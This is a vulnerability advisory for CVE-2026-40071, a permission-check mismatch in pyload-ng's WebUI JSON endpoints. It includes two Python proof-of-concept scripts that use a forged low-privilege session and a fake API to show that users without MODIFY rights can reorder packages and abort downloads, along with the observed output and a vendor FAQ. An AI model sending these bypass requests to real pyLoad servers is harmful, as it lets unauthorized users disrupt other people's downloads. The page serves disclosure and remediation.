CVE-2026-40071

Several WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute MODIFY operations that should be denied by pyLoad's own permission model.

Confirmed mismatches:

• ADD user can reorder packages/files (order_package, order_file) via /json/package_order and /json/link_order
• DELETE user can abort downloads (stop_downloads) via /json/abort_link

Details

pyLoad defines granular permissions in core API:

• order_package requires Perms.MODIFY (src/pyload/core/api/__init__.py:1125)
• order_file requires Perms.MODIFY (src/pyload/core/api/__init__.py:1137)
• stop_downloads requires Perms.MODIFY (src/pyload/core/api/__init__.py:1046)

But WebUI JSON routes use weaker checks:

• /json/package_order uses @login_required("ADD") then calls api.order_package(...) (src/pyload/webui/app/blueprints/json_blueprint.py:109-117)
• /json/link_order uses @login_required("ADD") then calls api.order_file(...) (src/pyload/webui/app/blueprints/json_blueprint.py:137-145)
• /json/abort_link uses @login_required("DELETE") then calls api.stop_downloads(...) (src/pyload/webui/app/blueprints/json_blueprint.py:123-131)

Why this is likely unintended (not just convenience):

• The same JSON blueprint correctly protects other edit actions with MODIFY:
  • /json/move_package -> @login_required("MODIFY") (json_blueprint.py:188-196)
  • /json/edit_package -> @login_required("MODIFY") (json_blueprint.py:202-217)
• The project UI exposes granular per-user permission assignment (settings.html:184-190), implying these boundaries are intended security controls.

PoC

Environment:

• Repository version: 0.5.0b3 (VERSION file)
• Commit tested: ddc53b3d7

PoC A (ADD-only user invokes MODIFY-only reorder):

import os
import sys
from types import SimpleNamespace

sys.path.insert(0, os.path.abspath('src'))

from flask import Flask
from pyload.core.api import Api, Perms, Role
from pyload.webui.app.blueprints import json_blueprint

class FakeApi:
    def __init__(self):
        self.calls = []

    def user_exists(self, username):
        return username == 'attacker'

    def order_package(self, pack_id, pos):
        self.calls.append(('order_package', int(pack_id), int(pos)))

    def order_file(self, file_id, pos):
        self.calls.append(('order_file', int(file_id), int(pos)))

api = Api(SimpleNamespace(_=lambda x: x))
ctx = {'role': Role.USER, 'permission': Perms.ADD}
print('API auth (ADD-only) order_package:', api.is_authorized('order_package', ctx))
print('API auth (ADD-only) order_file:', api.is_authorized('order_file', ctx))

app = Flask(__name__)
app.secret_key = 'k'
app.config['TESTING'] = True
app.config['WTF_CSRF_ENABLED'] = False
f = FakeApi()
app.config['PYLOAD_API'] = f
app.register_blueprint(json_blueprint.bp)

with app.test_client() as c:
    with c.session_transaction() as s:
        s['authenticated'] = True
        s['name'] = 'attacker'
        s['role'] = int(Role.USER)
        s['perms'] = int(Perms.ADD)

    r1 = c.post('/json/package_order', json={'pack_id': 5, 'pos': 0})
    r2 = c.post('/json/link_order', json={'file_id': 77, 'pos': 1})

print('HTTP /json/package_order:', r1.status_code, r1.get_data(as_text=True).strip())
print('HTTP /json/link_order:', r2.status_code, r2.get_data(as_text=True).strip())
print('calls:', f.calls)

Observed output:

API auth (ADD-only) order_package: False
API auth (ADD-only) order_file: False
HTTP /json/package_order: 200 {"response":"success"}
HTTP /json/link_order: 200 {"response":"success"}
calls: [('order_package', 5, 0), ('order_file', 77, 1)]

PoC B (DELETE-only user invokes MODIFY-only stop_downloads):

import os
import sys
from types import SimpleNamespace

sys.path.insert(0, os.path.abspath('src'))

from flask import Flask
from pyload.core.api import Api, Perms, Role
from pyload.webui.app.blueprints import json_blueprint

class FakeApi:
    def __init__(self):
        self.calls = []

    def user_exists(self, username):
        return username == 'u'

    def stop_downloads(self, ids):
        self.calls.append(('stop_downloads', ids))

api = Api(SimpleNamespace(_=lambda x: x))
ctx = {'role': Role.USER, 'permission': Perms.DELETE}
print('API auth (DELETE-only) stop_downloads:', api.is_authorized('stop_downloads', ctx))

app = Flask(__name__)
app.secret_key = 'k'
app.config['TESTING'] = True
app.config['WTF_CSRF_ENABLED'] = False
f = FakeApi()
app.config['PYLOAD_API'] = f
app.register_blueprint(json_blueprint.bp)

with app.test_client() as c:
    with c.session_transaction() as s:
        s['authenticated'] = True
        s['name'] = 'u'
        s['role'] = int(Role.USER)
        s['perms'] = int(Perms.DELETE)

    r = c.post('/json/abort_link', json={'link_id': 999})

print('HTTP /json/abort_link:', r.status_code, r.get_data(as_text=True).strip())
print('calls:', f.calls)

Observed output:

API auth (DELETE-only) stop_downloads: False
HTTP /json/abort_link: 200 {"response":"success"}
calls: [('stop_downloads', [999])]

Type:

• Improper authorization / permission-bypass between WebUI and core API permission model.

Scope:

• Horizontal privilege escalation among authenticated non-admin users.
• Not admin takeover, but unauthorized execution of operations explicitly categorized as MODIFY.

Security impact:

• Integrity impact: unauthorized queue/file reordering by users lacking MODIFY.
• Availability impact: unauthorized abort of active downloads by users lacking MODIFY.

The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions. Typical impact: unauthorized data access or execution of privileged operations.

CVE-2026-40071 has a CVSS score of 5.4 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Kodem intelligence

1. What is CVE-2026-40071? CVE-2026-40071 is a medium-severity incorrect authorization vulnerability in pyload-ng (pip), affecting versions <= 0.5.0b3. No fixed version is listed yet. The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions.
2. How severe is CVE-2026-40071? CVE-2026-40071 has a CVSS score of 5.4 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of pyload-ng are affected by CVE-2026-40071? pyload-ng (pip) versions <= 0.5.0b3 is affected.
4. Is there a fix for CVE-2026-40071? No fixed version is listed for CVE-2026-40071 yet. Monitor the advisory for updates and apply mitigations in the interim.
5. Is CVE-2026-40071 exploitable, and should I be worried? Whether CVE-2026-40071 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-40071 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-40071? No fixed version is listed yet. In the interim: Keep the dependency up to date. Audit access-control checks to ensure they are applied consistently and cannot be bypassed.